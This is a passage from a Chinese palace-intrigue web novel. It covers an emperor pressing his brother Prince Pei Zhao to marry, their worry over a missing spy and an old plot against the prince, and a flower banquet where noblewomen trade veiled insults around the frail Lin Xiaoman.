“皇兄,您又不是不知臣弟这破败的身子骨,说句不好听的,不过是捱日子罢了。更何况,臣弟这‘活阎王’的名声在京里早已传遍,哪家真心疼爱女儿的尊长,愿意将自家千娇百媚、如珠如宝的姑娘,许配给我这样一个……煞气重、又朝不保夕之人?” 皇帝没好气地翻了个白眼,显然不吃他这一套:“少跟朕来这套!你如今每月月圆之时的旧疾,早已设法压制,虽未根除,却也不再如往年那般疼痛难忍,此事旁人不知,莫非朕也不知?你休想再拿这个当借口搪塞朕!” 他放下茶盏,屈指敲了敲桌面,继续道:“至于什么‘活阎王’的名头?哼,你是我大胤堂堂靖安亲王,军功赫赫,身份尊崇,谁敢真个对你不敬?朕看,想攀附你这门亲事的人家,能从宫门口排到你的王府去!” 皇帝说着,眼中闪过一丝促狭:“朕也不说旁人,就说说那秦将军家的婉丫头。那姑娘,哪回见着你,那双眼睛不跟黏在你身上似的?挪都挪不开!” “你们自幼一同长大,算得青梅竹马,秦老将军更是你的授业恩师,两家知根知底,门第也相当。朕看,这就很是……” 裴昭眉头微不可查地蹙了一下,立刻截断了皇帝的话头,声音虽缓却异常清晰:“皇兄,正因如此,更不可。” 他抬起眼,目光清正而冷静:“婉儿是秦将军的掌上明珠,而秦将军执掌京畿兵权,深得皇兄信任。” “臣弟是亲王,若再与手握重兵的将军府联姻……权柄过盛,易惹非议,于皇兄的威信、于朝堂的平衡,皆非益事。臣弟绝不能因一己之私,令皇兄为难,亦绝不能让任何人,有丝毫质疑皇兄江山的可能。” 皇帝听罢,脸上的戏谑之色渐渐敛去,化为一种复杂的神情,其中有欣慰,亦有几分无奈。 他沉默片刻,缓缓叹道:“你的忠心与顾虑,朕岂会不知?朕信你,昭弟啊,这世上,朕或许会疑任何人,但唯独你,朕从未有过半分猜忌。你之心性,朕最是清楚不过。” 裴昭闻言,立刻起身,郑重地拱手行礼,声音恳切: “皇兄待臣弟的信重与维护之心,臣弟铭感五内,片刻不敢或忘。” 皇帝见他如此,不由失笑,摆了摆手示意他重新坐下:“行了行了,这里又没外人,动不动就起身行礼,也不嫌累得慌。快坐下说话。” 待裴昭坐定,皇帝沉吟片刻,又试探着开口,语气比方才提及秦婉时更多了几分斟酌: “既然你与秦家丫头有这层顾虑……那,令仪那丫头呢?” 他抬眼观察着裴昭的神色,继续说道:“她对你的心思,可是满京城皆知,更是早几年就放出了‘非靖安王不嫁’的豪言。虽说她那性子是骄纵了些,被姑母宠得有些不知天高地厚,有时连朕都觉得头疼。” 皇帝话锋一转,带着几分劝说的意味: “不过嘛,小姑娘家,难免有些脾气。若是嫁予你,成了靖安王妃,有了你的管束和引导,再跳脱的性子想必也能沉稳下来。” “何况,她的母亲毕竟是我们的亲姑母,长公主府与皇室血脉相连,亲上加亲,岂不更是美事一桩?也免了外界对你联姻权重之臣的猜疑。” 裴昭听完,面上并未露出太多表情,只是微微垂眸,沉默了片刻。 再抬眼时,目光平静却坚定:“皇兄,郡主殿下金枝玉叶,身份尊贵,臣弟不敢高攀。且郡主性情率真烂漫,臣弟……” “臣弟性情冷肃沉闷,恐非良配,若强行结合,只怕日后彼此拘束,反而辜负了姑母的期望和郡主的一片心意。” 他顿了顿,语气更为沉静,“臣弟如今……实无心思虑婚嫁之事。方才问及宫宴,确只是一时好奇,并无他意。眼下,臣弟只愿竭尽所能,为皇兄分忧,查明永兴坊一案,以安民心。其余诸事,暂且……无暇顾及,亦无心于此。” 皇帝听罢,长长地叹了一口气,语气中充满了无奈与一丝宠溺,他转向一直静立一旁、眼观鼻鼻观心的李德全,半是抱怨半是玩笑地说道: “李德全,你瞧瞧,你瞧瞧!朕这好弟弟,道理是一套一套的,心思是半点不动。文武双全、位极人臣又如何?朕看啊,他这眼光高过南天门,性子又冷得像块冰,怕是真要孤家寡人一辈子了!你说是不是?” 被突然点名的李德全微微躬身上前一步,脸上堆起恰到好处的恭敬又温和的笑容,声音又轻又稳,滴水不漏。 第121章 父皇的心中只有你一个孩儿 “陛下您这是说哪里话。王爷这是心怀家国,志存高远,非寻常俗流所能及。老奴愚见,这姻缘之事,讲究的是个水到渠成,缘分未到罢了。” “以王爷的人品才貌,何愁将来觅不得一位真正志趣相投、堪为良配的淑女?陛下您啊,就是爱弟心切,太过操心了。” 皇帝被李德全这番圆融周到的话给逗乐了,指着他对裴昭笑道: “昭弟你听听,你听听!这老滑头,朕是让他评理,他倒好,一碗水端得平平的,谁也不得罪,净挑些好听的来说!朕看啊,他这总管太监的位子坐得是越发稳当了!” 裴昭在一旁,看原本沉静的脸上也不由得掠过一丝浅淡的笑意,微微摇了摇头,并未多言,殿内的气氛一时显得轻松了不少。 皇帝脸上的笑意渐渐敛去,像是忽然被什么沉重的思绪攫住。 他对着侍立一旁的李德全递了一个极轻微的眼神。 李德全立刻会意,躬身无声地行了一礼,随即脚步极轻地退了出去,并细心地从外间将门轻轻掩上,确保无人打扰。 皇帝的目光重新落回裴昭身上,先前谈论婚事时的轻松已荡然无存,他压低了声音,语气凝重: “昭弟,有件事,朕前两日便得了消息,只是线索微茫,朕怕你空欢喜一场,便想着待查得更确切些再告知你。但如今……” 皇帝眉头紧锁,透出几分担忧与不解:“阿六那边,前几日曾传来密信,说是于北境某处,似乎寻到了一些与你当年那旧案相关的蛛丝马迹。” “可蹊跷的是,自那封密信之后,这两日竟再无任何音讯传回,朕接连派出了两拨人手前去联络探查,竟也如石沉大海,毫无回音。” “此事……颇不寻常。” 裴昭闻言,脸上的浅笑瞬间消失无踪,眉头骤然锁紧,眸底掠过一丝极深沉的惊疑与凝重。 这绝非好兆头,阿六是何人?他是皇兄身边最顶尖的暗卫之一,其身手、机敏与忠诚皆万里挑一,隐匿、追踪、脱身之术更是超群绝伦。 若非遭遇极其凶险莫测的变故,或是陷入了远超预期的绝境,以他的本事,绝无可能这般无声无息地断了联系,竟连后续的联络人马也都一并消失。 难道……那边的水,竟深到了如此地步?连阿六这等人物都可能已遭遇不测? 他心中念头急转,万千猜测与担忧交织,但面上却竭力维持着镇定,不愿再增添皇兄的忧虑。 他沉吟片刻:“皇兄所虑极是。阿六行事素来稳妥,断不会无故失联如此之久,更遑论后续人马亦无音讯。此事确实蹊跷万分,背后恐隐藏极大凶险。” 他抬起眼,“如今情况未明,敌暗我明,不宜再贸然派遣大队人马前往,以免打草惊蛇,甚至造成更大损失。臣弟恳请皇兄,暂缓后续探查,容臣弟仔细斟酌,另寻稳妥途径查探虚实与阿六下落。” 皇帝面色沉肃地点了点头,指尖无意识地敲击着桌面,发出沉闷的声响:“目前看来,也只能依你之言,暂且按兵不动,暗中筹谋了。只是……” 他话锋一转,语气中带上了一丝难以掩饰的寒意与深深的忌惮:“朕思来想去,仍觉心惊。” “那幕后黑手,竟在你幼时便已布下如此阴毒诡谲之局,其心之深沉、谋划之长远,绝非寻常势力所能及。更可怕的是,能知晓那等宫廷秘事,并能将手悄然伸入宫中……只怕,并非外敌,而是有皇室宗亲参与其中,甚至……地位不低。” 裴昭的眼神也随之变得冰冷,他颔首沉声道:“皇兄所言,正是臣弟多年来所忧。敌暗我明,其志非小。正因如此,皇兄与母后身处宫中,更需万分警惕。日常起居,饮食用度,皆需心腹之人层层查验,不可有丝毫疏忽大意。” “臣弟远在宫外,纵有护卫之心,亦恐鞭长莫及。怕只怕,那恶徒的野心,并非只针对臣弟一人,其所图谋,或在我大胤国本。” 皇帝听罢,沉默良久,空气仿佛都凝固了。 忽然,他抬起眼,目光复杂地直视着裴昭,问出了一个极其尖锐,甚至有些残酷的问题: “昭弟,你……就从未疑心过朕吗?” 他的声音很轻,却重若千钧:“父皇膝下曾有五子,可谁都知道,在他心中,唯你一人是他真正倾注了所有父爱,时刻牵挂在心尖上的孩儿。” “我们虽为一母所出的亲兄弟,共享这世间最紧密的血缘……但帝位之侧,从来孤寂。你就真的一点也不曾想过,或许是朕……容不下你这个最得父皇宠爱、亦最得军心民望的弟弟?” 裴昭闻言,猛地抬起头,眼中没有丝毫犹豫与惊惶,只有一片坦荡如砥的赤诚与坚定。 他并未立刻慷慨陈词,而是缓缓起身,再次深深一揖,声音沉稳而清晰,每一个字都掷地有声: “皇兄,”他唤道,语气里是全然的信任与坦然,“若连您都需怀疑,臣弟在这世间,还有何人可信?父皇的偏爱是过往私情,而皇兄您予臣弟的,是毫无保留的君信与兄谊。” “臣弟之心,可昭日月。从未有此念,往后生生世世,亦绝不会有此念。若皇兄真有此意,臣弟绝无可能安然至今,更遑统兵权、参朝政。” “您若疑我,此刻臣弟便交还一切权柄,退居王府,只求皇兄与母后安康,大胤江山永固。” 皇帝凝视着他毫无作伪的眼眸,紧绷的肩膀缓缓松弛下来,那抹深藏的试探与微不可查的忧虑终于化为一声极轻的叹息,消散在沉重的空气里。 他抬手,虚扶了一下:“朕知道了。坐下吧。是朕……失言了。” “好了,不说这些了。说起来,今日淑妃在御花园设这赏花宴,母后也会过去凑凑热闹。她老人家近日总念叨着你,说你许久未进宫陪她好好说说话了。” 第122章 那便一起去看看? 他抬眼看向裴昭,眼中恢复了作为兄长和君主的温和,“你既来了,又恰逢其会,不如也过去露个面,不必久留,去向母后请个安,让她瞧瞧你无恙,也省得她总是悬心。再者……” 皇帝话锋微妙地一顿,唇角勾起一抹似有深意的弧度: “方才你不是还好奇宫门外为何那般热闹么?亲自去瞧瞧,岂不比你在这里凭空猜测来得真切?或许……还能遇上什么意想不到的‘趣事’。” 裴昭听见这话,脑海中不期然地闪过宫门外那张苍白却难掩清丽、带着几分倔强的脸庞,思及她方才被为难时抿唇不语的模样,以及面对秦婉维护时那抹虚弱的笑容,他唇角不自觉地勾起一丝极淡却真实的弧度,连自己都未曾察觉。 他敛起心神,顺应着皇帝的话头,语气平和地应道:“皇兄所言极是。今日案发之初,已有李大人先行带人勘查,臣弟稍晚些再介入亦无妨。既然如此,臣弟便陪皇兄一同去御花园走走,给母后请安,也省得她老人家总是挂心。” 皇帝何等眼力,虽只是余光一瞥,却恰好将裴昭那瞬间柔和下来的眉眼与一闪而过的浅笑捕捉个正着。 他不由微微一怔,随即心下恍然,几乎要当场失笑,好不容易才强自忍住,面上仍是一派淡然,只在心中暗想着: 好啊!朕还说这小子怎么突然转了性,竟关心起宫宴来了……原来根由在这儿等着呢!看来朕这弟弟,并非真如他自己所言那般心如止水,怕是连他自己都还未全然察觉吧?这倒真是……意想不到的事啊。 …… 御花园内,此时正是百花争妍、姹紫嫣红。 名品牡丹灼灼其华,幽兰静吐芬芳,各色奇花异草依着巧思布置,错落有致地盛放于亭台水榭之间,引来蝶舞蜂喧。 京城中各府的贵女们今日皆是盛装而出,三三两两结伴游赏,言笑晏晏,衣裙翩跹,与满园花色相映生辉。 宫女太监们步履轻快地穿梭其间,添置茶点,伺候周到。 临近水边的一片开阔地上,早已设好了供贵人们休憩的凉棚与席位。 锦垫铺就的雕花檀木椅环绕着摆放,其间点缀着汉白玉石桌,其上陈列着时令鲜果、精巧宫点与香茗,布置得既风雅又不失皇家气派。 方令仪此刻正被一群贵女如众星拱月般簇拥着,停在一盆极为引人注目的花卉前。 那花形态奇特,花瓣层叠如绣球,色泽却是罕见的深紫泛着金边,阳光下的幽香沁人心脾。 一位身着鹅黄衣裙的贵女掩口轻呼,语气中满是惊叹与讨好: “令仪姐姐快看!这莫非就是传说中那个……那个极难养活的‘金盏紫云绡’?听闻是长公主殿下费了好大功夫,特意从南海之滨寻来献给太后娘娘赏玩的稀世珍品呢!” 另一人立刻接话道:“正是呢!听说太后娘娘今日知晓淑妃娘娘设宴,想着让咱们也开开眼界,特意命人将这宝贝从慈宁宫的花房里搬出来,就摆在这最显眼的地方,供大家品鉴呢!可见太后娘娘和淑妃娘娘真是仁心慈爱,恩泽我等。” 众人闻言,更是啧啧称奇,目光皆聚焦于那盆名花,以及被簇拥在中心、面露得色的方令仪身上。 方令仪听着周遭的奉承,下巴微扬,眼中流露出理所当然的骄傲之色,她伸出染着蔻丹的纤指,轻轻虚点了一下那花瓣,语气带着几分漫不经心的炫耀: “嗯,这‘金盏紫云绡’确是母亲费尽心思才得来的。听闻生长在南海峭壁之上,采摘极为不易,母亲可是特意派了得力之人,耗时近半年,几经周折,才侥幸得了这么一株完好无损的,一路用暖玉匣子小心护着送回京来,便是博太后娘娘一笑罢了。” 她话音刚落,身旁立刻便有贵女接口,声音甜得发腻: “长公主殿下真是孝心感天动地!这般稀世奇珍,也唯有殿下这般尊贵又有心之人方能寻来献给太后呢!” 另一人忙不迭地附和,目光却意有所指地瞟向不远处正与林知鸳低声说笑的秦婉,语气带着明显的对比与讨好: “正是呢!长公主殿下雍容大度,郡主您更是继承了殿下的风范,人美心善,仪态万方,这才是我们京城贵女应有的风仪。可不像某些将门出来的野丫头,整日里不是舞枪弄棒,就是纵马街头,半点闺秀的温婉含蓄都没有,实在是有失体统。” 这番话立刻引来周围几个贵女的连连点头和低声窃笑,目光若有若无地扫向秦婉的方向。 方令仪闻言,噗嗤一声轻笑出来,用绣着金线的丝帕优雅地掩了掩唇角,眼中满是讥诮: “有些人呐,还真以为自己的父亲是个将军,就不知天高地厚,以为自己也成了什么了不得的人物了。殊不知,我们京城真正的贵女,哪一个不是自幼习得琴棋书画,谨守闺训礼仪?偏就有人要反其道而行,学那市井之徒,粗野无状,平白惹人笑话。” “郡主说的可太对了!”身旁一个穿着樱草色襦裙的贵女立刻尖声附和,语气愈发刻薄, “这也难怪那个来路不明的林小满能跟她厮混到一处去!听说那位林小姐如今竟在摆摊算卦?呵,堂堂丞相府千金,做出这等抛头露面、近乎江湖术士的行径,简直是将林相的脸面都丢尽了!她与那秦婉,一个粗野,一个低贱,倒真是物以类聚,天生一对!” 方令仪听着这番比她自己所说还要恶毒几分的言语,嘴角的笑意更深了。 她眼神轻飘飘地掠向不远处正由秦婉和林知鸳小心搀扶着、脸色苍白如纸的林小满,目光在那摇摇欲坠的纤细身影上停留片刻。 尤其在触及对方那毫无血色的面容和微蹙的眉头时,眼底闪过一丝快意的恶毒,随即化为一声毫不掩饰的、带着轻蔑的嗤笑。 第123章 赏花宴 她身旁的簇拥者们仍在喋喋不休地讨好着,其中一位穿着桃红衣裙的贵女忽然压低声音,带着几分兴奋与期待插话道: “诶,说起来,方才我来御花园的路上,好像瞥见靖安王爷往这边来了呢!只是不知……王爷今日是否会纡尊降贵,也来这赏花宴上走走?” 另一人立刻激动地接腔,目光热切地看向方令仪:“我猜定然会来的!今日郡主您容光焕发,将这满园春色都比了下去。王爷若是来了,见了郡主您这般明媚动人的模样,目光定然再也移不开了!” 方令仪听见这话,脸上立刻飞起两抹红晕,她微微垂下眼睫,露出一副娇羞不胜的模样,指尖下意识地捻着腰间系着的湖蓝色丝绦,声音也放柔了几分: “休要胡言……表哥的行踪,岂是我们能随意揣测的。” 她嘴上虽如此说着,目光却不由自主地向下,飞快地扫了一眼自己今日的装扮。 为了今日,她确是费尽了心思,裴昭平日虽多以墨色、玄色常服示人,但每逢正式场合,最常穿的便是各种深浅不一的蓝色系朝服或礼服,想必是对此色颇为偏爱。 所以她今日特意挑选了这身用寸缕寸金的云水缎裁制的湖蓝色广袖留仙裙,裙摆处用深浅不同的丝线绣着繁复的缠枝莲暗纹,既显高贵又不失少女的柔美。 发间点缀的亦是同色系的碧玺珠花与点翠步摇,耳坠则是两粒剔透的海蓝宝。就连腕间那只通透的翡翠镯子,也是为了衬这身衣裳而精心挑选的。 连一向不喜自己的父亲见了都难得地颔首赞了一句:“我儿今日甚好,颇为好看。” 想到此处,方令仪心中更是笃定了几分,若是……若是等会儿表哥真的过来了,见到她这般明艳照人、又如此“巧合”地与他偏好相合的模样,定然会多看自己几眼吧? 说不定……她下意识地挺直了背脊,让自己看起来更加仪态万方,嘴角噙着一抹势在必得的浅笑。 秦婉正与林知鸳低声说着话,眼风不经意地扫过方令仪那群人,恰好捕捉到她们频频投来的视线和那压抑不住的、带着讥诮的窃笑。 她见方令仪一边故作娇羞地整理着湖蓝色的衣带,一边又用眼梢得意地瞟向这边,那群簇拥着她的贵女们更是时不时掩口而笑,目光中的恶意几乎不加掩饰。 秦婉当即没好气地翻了个大大的白眼,收回目光,扯了扯林知鸳的袖子,压低声音道: “知鸳你快看那边!瞧见没?方令仪那群人,眼睛都快长到我们身上来了,指指点点、嘀嘀咕咕的,就没个消停!一会儿假笑一会儿撇嘴的,准保又在嚼我们的舌根,变着法儿地说我们坏话呢!瞧她们那副样子,真是……隔着这么远都能闻到一股酸腐气!” 林知鸳闻言,也抬眼淡淡瞥了一下那边喧闹的人群,她性子比秦婉沉静些,但眉头也轻轻蹙了起来,语气带着几分无奈与厌烦: “由她们说去吧。不过是些陈词滥调,翻来覆去也无非是那几句。她们自以为抱成了团,便有了底气,实则无聊至极。我们只管赏我们的花,何必与她们一般见识,平白坏了兴致。” 秦婉转回头,正想对林小满说些什么,目光触及她那张苍白得近乎透明的脸时,到了嘴边的话瞬间咽了回去,脸色立刻被浓浓的担忧取代。 她伸出手,用手背轻轻贴了贴林小满的额头,触手一片冰凉,还带着些许虚汗。 “小满,”秦婉的声音里充满了关切,“你真的没事吗?我看你这脸色实在是差得吓人,一点血色都没有,手也这么凉。这赏花宴也没什么非待不可的,要不……我还是先陪你回去休息吧?我去同淑妃娘娘说一声,你身子不适,想必她也不会怪罪的。” 林小满虚弱地摇了摇头,勉强挤出一丝宽慰的笑容,“婉儿姐姐,我真的没事,就是方才站得久了些,有些累,歇一会儿就好。不必为了我特意去告假,反倒扫了大家的兴。” 就在她们说话间,一声悠长而略带尖锐的太监唱喏声清晰地传遍了御花园:“皇后娘娘、淑妃娘娘、德妃娘娘驾到——!” 原本喧闹嬉笑的园子霎时安静了下来,所有贵女们立刻收敛了神色,迅速整理了一下自己的衣饰鬓发,按照家中品级和亲疏远近,悄无声息却又极快地寻找到自己的位置,垂首敛目,屏息静立,准备迎接。 只见一行人簇拥着三位雍容华贵的女子缓缓行来,身后还跟着好一些的低低品级嫔妃。 皇后身着正红色凤穿牡丹宫装,气质温婉大气,淑妃与德妃则分别身着鹅黄色与湖绿色宫装,伴随在侧。 她们在宫人的引导下,径直走向凉棚下早已布置妥当的主位。 皇后自然在正中最尊贵的主位落座,淑妃、德妃分坐于太后左右两侧。其他嫔妃则依礼在稍次一级的席位坐下。 众人这才在司礼太监的示意下,齐齐屈膝行礼,山呼:“恭迎皇后娘娘,淑妃娘娘,德妃娘娘!娘娘金安!” 待众人行礼完毕,皇后微微抬手,“都平身吧。今日是淑妃妹妹做东道主,设此赏花宴,本宫与德妃妹妹不过是来凑个热闹,大家不必过于拘礼,都坐下自在赏花说话便是。” “谢皇后娘娘,谢淑妃娘娘,谢德妃娘娘。” 众贵女们齐声谢恩后,才依言小心翼翼地在自己席位落座,姿态依旧保持着恭谨。 皇后目光含笑,转向身旁的淑妃,语气中带着赞赏: “淑妃妹妹真是心思灵巧,难为你将这许多难得一见的珍品花卉都搜罗齐聚,布置得如此精心。瞧这一片繁花似锦,真是令人心旷神怡。” 众人随着皇后的话语抬眼望去,但见凉棚席位之后,是依假山流水错落摆放的各色名品盆花,争奇斗艳; 席位之前,则是一片开阔的绚烂花海,与远处的水光潋滟相接。 而在席位两侧,则巧妙地留出了足够宽敞的路径,既方便宫人侍者往来伺候,也不妨碍贵女们起身游赏,设计得极为周到妥帖。 第124章 无异于当众揭短 方令仪正襟危坐,目光却不由自主地飘向主位上的淑妃。 恰在此时,淑妃也正含笑扫视着园中众人,两人的视线在空中不期而遇。 淑妃唇角维持着端庄的弧度,极快地、几不可察地朝着方令仪的方向轻轻眨了一下左眼。 方令仪心中顿时一喜,嘴角难以抑制地勾起一抹几乎难以发现的、得意的浅笑。 只是这笑意还未完全绽开,一直低眉顺眼、看似虚弱不堪的林小满,竟在淑妃视线扫过的刹那,缓缓抬起了头。 她没有丝毫惊慌或怯懦,反而迎着那目光,苍白的唇角甚至微微向上弯起,回了一个极淡、极静,甚至带着几分难以言喻的……笑容。 那笑容很轻,很淡,几乎算不上是笑,却无端地让方令仪觉得后背窜起一丝寒意。 方令仪下意识地挺直的背脊微微僵了一下,方才的得意瞬间被一种说不清道不明的不安所取代。 淑妃含笑收回目光,转而面向众人,“今日天气晴好,日头也有些烈了,想必大家游园赏花也略感燥热。本宫特意令御膳房备下了冰镇过的桂花酸梅汤,用清晨采集的露水烹煮,又佐以去岁窖藏的桂花蜜,最是生津止渴、消暑益气。诸位不妨先尝一碗,润润喉,静静心。” 众人闻言,又是一阵感激的称颂: “淑妃娘娘真是体贴周到!” “谢淑妃娘娘恩典!” 话音落下,早已候在一旁的宫女们便鱼贯而出,步履轻盈而有序地为每一位来宾面前的汉白玉石桌上,都奉上了一只剔透的水晶碗。 碗中盛着深琥珀色的酸梅汤,汤面上漂浮着几点金黄的桂花,丝丝凉意伴随着酸甜的香气袅袅散开。 淑妃率先优雅地端起自己面前的水晶碗,面向皇后,微微颔首示意,仪态万千:“姐姐,请。” 皇后微笑着点头,也端起了碗:“妹妹有心了。” 见上位者都已动作,园内众人这才纷纷端起自己面前的酸梅汤,小口品尝起来。 冰爽酸甜的滋味瞬间驱散了暑气,贵女们不由低声赞叹,席间的气氛似乎也因此变得更加舒缓惬意。 正当众人享受着冰饮的沁凉时,侍立在林小满身后的小花,借着上前为她整理裙摆的姿势,极轻地碰了一下她的手臂。 林小满动作几不可察地一顿,微微侧头,对上小花递来的一个极其短暂却肯定的眼神。 林小满眸光微闪,随即若无其事地转回头,脸上依旧是那副虚弱不堪的神情。 她伸出微微发颤的手,极其缓慢地端起了自己面前那碗冰镇酸梅汤,小口小口地,仿佛十分费力地慢慢饮了下去。 另一侧,方令仪虽也端着碗,眼角的余光却始终未曾离开林小满。 见她果然将那碗酸梅汤喝下,方令仪嘴角几不可察地勾起一抹冷意,心中冷哼一声,这才姿态优雅地将自己碗中的汤饮尽。 放下水晶碗,方令仪用丝帕轻轻按了按唇角,随即站起身来,步履款款地行至席前,朝着主位上的皇后深深一福,声音娇柔婉转: “皇后娘娘,淑妃娘娘今日筹备的这赏花宴真是别出心裁,不仅这满园百花令人目不暇接,连这消暑的汤饮都如此清雅甘醇,可见淑妃娘娘用心至极。臣女等能得此机会入宫赏玩,实在是托赖皇后娘娘与淑妃娘娘的恩泽,心中感念不尽。” 皇后见是她,脸上露出温和的笑意,虚抬了抬手: “令仪丫头总是这般嘴甜,快起来吧。你这孩子,就是知礼数,会说话,难怪姑母时常在本宫面前夸你懂事可人。” 方令仪听得皇后夸赞,脸上红晕更盛,姿态愈发柔婉地,声音也愈发甜腻: “皇后娘娘谬赞了,臣女不过是说了几句肺腑之言罢了。实在是皇后娘娘与淑妃娘娘操持得太好,让臣女等大开眼界,心中唯有感激与赞叹。” 皇后显然被她这番话哄得颇为开怀,转脸对身旁一直安静含笑的德妃说道: “德妃妹妹你瞧瞧,这小嘴儿伶俐的,跟抹了蜜似的。说话又周到又熨帖,这也难怪母后平日里总念叨着令仪这丫头,最喜欢召她进宫来说话解闷了。这样乖巧可心的可人儿,换做是谁能不喜欢呢?” 德妃闻言,拿起团扇轻轻掩了掩唇角,笑容温婉得体,声音柔和,话语里的意味却细细品来有些微妙: “姐姐说的是呢。郡主殿下确实是……嗯,尤其擅长言辞,心思也灵巧,最是懂得如何让人开心了。这般玲珑剔透的人儿,在京中贵女里也是极为出挑的,臣妾瞧着也是喜欢得紧。” 她话锋轻轻一转,带着几分看似关切实则意味深长的叹息: “唉,只是…臣妾有时也不免为郡主觉得些许惋惜。这般好的年华,这般好的品貌家世,按理说早该觅得一门人人称羡的如意姻缘才是。许是…郡主眼光太高,或是缘分未至?倒是平白让京城里那么多青年才俊望而却步,也让长公主殿下为您操心了呢。” 她这话听起来像是长辈的关心与感慨,实则句句都在暗指方令仪虽会说话讨巧却姻缘艰难,眼光高、年纪渐长却仍待字闺中,甚至连自己母亲都为之烦恼,无异于当众揭短。 方令仪脸上的笑容瞬间僵硬了几分,眼底闪过一丝难堪与恼怒,却又不得不强自维持着得体的表情,手指暗暗绞紧了手中的丝帕。 她心中早已将德妃咒骂了千百遍。不过是个无所出的老女人,仗着资历坐在妃位上,也敢来奚落我!算个什么东西! 另一边的秦婉见状,实在没忍住,极轻地“噗嗤”笑出了声,连忙侧头凑到林小满耳边,用气音快活地低语道: “瞧见没?德妃娘娘还是这么‘会’说话,专往人心窝子最疼的地方戳。” 这细微的笑声和低语,落在正羞愤交加的方令仪耳中,无异于火上浇油。 她眼中瞬间掠过一丝难以抑制的恶毒,但转向德妃时,脸上却又挂上了那副甜美无辜的面具。 第125章 养生方子 她朝着德妃的方向微微屈膝,声音依旧娇柔,只是带上了一丝不易察觉的尖锐: “德妃娘娘关怀,令仪感激不尽。只是这姻缘之事,讲究的是父母之命、媒妁之言,更需缘分天成。令仪虽愚钝,却也深知女子德言容功为重,不敢如市井女子般妄自议论或是急切相看,一切但凭父亲母亲和太后娘娘、皇后娘娘做主便是。” 她这话明着是自谦和顺从,暗里却是在讽刺德妃如同“市井女子”般多嘴多舌,干涉他人姻缘,失了妃嫔应有的端庄体统,更是抬出太后和皇后来压人。 德妃闻言,竟是连表面功夫都懒得再做,直接冲着方令仪的方向毫不客气地翻了个白眼,眼神中的厌烦与不屑几乎要满溢出来,丝毫没有掩饰她对这位郡主的极度不喜。 这剑拔弩张的一幕落在众人眼中,气氛顿时变得有些微妙。 林小满虚弱地靠在椅背上,微微侧头,声音细若游丝地向身旁的林知鸳问道:“德妃娘娘与方令仪之间……可是有什么旧日嫌隙?” 林知鸳闻言,稍稍凑近林小满,用仅两人能听到的音量低声道: “你才回京不久,有所不知。她们之间确实有些说不清道不明的私怨,虽无确凿证据,但京中早有传闻。” 她顿了顿,声音压得更低:“前几年,德妃娘娘刚入选进宫不久,因容貌出众、性情爽利,很得圣心,恩宠正浓,从贵人一路晋封至妃位,前后才不过一年光景,风头一时无两。” “可就在那时,不知怎的,宫中忽然流传起一些对德妃娘娘出身和品性极为不利的谣言,虽未明指,却暗讽她狐媚惑主、德不配位,甚至影射她与宫外之人有所牵连……虽然后来查无实据,不了了之,但德妃娘娘的盛宠却因此冷了好一阵子。” 林知鸳说着,目光若有似无地扫过方令仪:“而当时,有传言说,那些谣言最初的源头,似乎与长公主府有些关联。毕竟,德妃盛宠就意味着淑妃……” 林小满闻言,轻轻颔首,低声道:“原来如此。淑妃娘娘身后是长公主殿下,她们自然同气连枝。无论当初散播谣言的是否真是长公主府,最终得益的确实是淑妃娘娘。德妃娘娘因此记恨上方令仪,倒也并非全无来由。” “不仅如此呢,”秦婉也悄悄地凑近过来,声音压得极低,语气中带着一丝唏嘘, “听说那会儿德妃娘娘其实都已经怀有身孕了,只是月份尚浅还未公之于众。结果被那谣言一气,竟……竟直接动了胎气,没能保住。陛下虽未深究,但这事之后,德妃娘娘的性子就变得……更尖锐了些,尤其是对长公主府和方令仪那边的人。” 就在这时,主位上的淑妃声音含笑传来,清晰地响彻在略显安静的园子里: “说起来,本宫听闻今日林相府上刚回京的那位千金也来了?不知是哪一位?” 这话音刚落,园内所有人的目光“唰”地一下,全都聚焦到了林小满的身上。 林知鸳和秦婉立刻正襟危坐,瞬间恢复了端庄贵女的仪态,仿佛刚才凑在一起窃窃私语的根本不是她们。 林小满面上却依旧是那副虚弱苍白的样子。 她深吸一口气,在小花的搀扶下,有些摇摇晃晃地站起身来。 小花的手稳稳地托着她的手臂,给予她支撑。 她朝着主位的方向,微微屈膝,行了一个标准的福礼,声音虽轻弱却也清晰: “臣女林小满,参见皇后娘娘,淑妃娘娘,德妃娘娘。臣女正是家父不久前刚接回京中的女儿。多谢淑妃娘娘惦记。” 林小满话音甫落,她身旁的林知鸳也立刻站起身,朝着主位方向恭敬地行了一礼,声音温婉而恳切: “皇后娘娘,淑妃娘娘,德妃娘娘明鉴。小妹小满自幼体弱,前些日子又舟车劳顿刚回京城,身子一直未曾大好,今日是强撑着来赴宴,若有失仪之处,万望各位娘娘海涵。” 皇后见状,和善地摆了摆手,语气温和: “无妨,快都坐下说话吧。瞧这孩子脸色确实不佳,可是刚回京水土不服?既是在宫里不适,不必硬撑着,恰好太医今日就在太医院当值,不如传过来瞧瞧?” 林小满微微屈膝,声音依旧轻弱却带着感激: “多谢皇后娘娘体恤关怀。臣女感激不尽,只是些许小恙,不敢劳动太医圣手。回府后好生将养几日便无碍了,实在不敢因臣女微末之躯,扰了娘娘们和各位姐妹赏花的雅兴。” 淑妃一直含笑听着,此刻却轻轻“哎呀”一声,像是忽然想起了什么,目光转向林小满,语气关切却带着不容拒绝的意味: “林小姐这般客气倒见外了。不过既然林小姐怕劳动太医,本宫倒想起一桩事来。听闻林小姐回京前,曾随一位隐世高人修习过一段时间,想必于养生调理乃至岐黄之术上,都有些独到的见解吧?” 她笑吟吟地,仿佛只是随口一提,却瞬间将所有人的注意力再次引到林小满身上: “正巧,太后娘娘近日凤体也有些倦怠,食欲不振,太医们开的方子总是温吞不见大效。不知林小姐可有什么温和又有效的食疗小方,或是什么安神静心的法子,能说来听听,若是得用,本宫也好借花献佛,去太后娘娘跟前尽尽孝心。” 这一问,看似请教,实则将林小满架在了火上。 说得出,若无效或惹太后不悦便是罪过;说不出,便是徒有虚名,方才推拒太医的好意也显得矫情。 林小满闻言,面上并未露出丝毫慌乱,她再次微微屈膝, “淑妃娘娘垂询,臣女惶恐。太后娘娘凤体安康乃国之大事,自有太医圣手们精心调理,臣女微末见识,岂敢妄议。不过,臣女昔年随师父在山中清修时,师父常教导,身心一体,静心方能顺气。” 第126章 作诗 “山野之人,无甚珍奇之物,唯取天地自然之性。师父常于春日清晨,采集带露的百合、茯苓,佐以少许山间野蜜,文火慢熬成一道清淡的汤羹,取其宁心安神、温和润养之效。闲暇时,亦会于竹林幽静处静坐调息,聆听风过竹梢、鸟鸣山幽,让心神有所寄托,归于平静。” 